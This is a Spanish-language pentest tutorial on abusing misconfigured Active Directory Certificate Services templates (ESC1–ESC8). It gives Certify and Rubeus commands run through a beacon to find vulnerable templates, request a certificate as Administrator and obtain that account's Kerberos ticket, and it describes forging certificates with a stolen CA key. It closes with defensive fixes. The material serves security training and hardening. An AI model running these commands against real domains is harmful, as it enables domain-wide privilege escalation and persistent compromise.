ADCS: abuso de certificados
Active Directory Certificate Services (ADCS) es la entidad certificadora interna de muchas empresas. Un certificado de cliente sirve para autenticarse en el dominio (vía PKINIT), así que una plantilla mal configurada permite obtener un certificado a nombre de un administrador y, con él, su TGT. Las configuraciones se numeran ESC1–ESC8.
Enumeración
text
beacon> execute-assembly C:\Tools\Certify\Certify.exe enum-cas --quiet
beacon> execute-assembly C:\Tools\Certify\Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins --quietDesde Kali, certipy find -vulnerable hace lo mismo.
Los casos más comunes
| ESC | Problema | Idea del abuso |
|---|---|---|
| ESC1 | La plantilla deja que el solicitante elija el sujeto (UPN) y permite autenticación de cliente | Pido un certificado poniendo Administrator como UPN |
| ESC2 | Plantilla "cualquier propósito" o EKU vacío | Sirve como ESC1/ESC3 según el caso |
| ESC3 | Plantilla de "agente de solicitud de certificados" | Pido un certificado a nombre de otro usuario |
| ESC4 | Permisos de más sobre la plantilla (puedo editarla) | La hago vulnerable yo mismo y luego la abuso como ESC1 |
| ESC8 | La CA acepta peticiones por web (HTTP) | Relay de autenticación NTLM del DC hacia la CA |
ESC1 paso a paso (concepto)
- Pido el certificado a la CA con la plantilla vulnerable, indicando como UPN al administrador.
- La CA lo emite porque la plantilla deja elegir el sujeto.
- Uso ese certificado para pedir un TGT como administrador (PKINIT).
text
beacon> execute-assembly C:\Tools\Certify\Certify.exe request --ca "CA01\CORP Root CA" --template VulnTemplate --upn Administrator --quiet
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgt /user:Administrator /certificate:<cert> /enctype:aes256 /nowrapGolden Certificate (persistencia)
Con acceso SYSTEM a la CA se puede robar su clave privada y forjar certificados válidos para cualquier usuario indefinidamente (técnica DPERSIST1). Es persistencia a nivel de dominio.
Cómo se defiende
- Revisar todas las plantillas: quitar "el solicitante elige el sujeto" y restringir quién puede inscribirse.
- Exigir aprobación de un gestor para plantillas sensibles.
- Deshabilitar la inscripción web o forzar EPA/firma para cortar ESC8.
- Proteger la clave privada de la CA como se protege un DC.
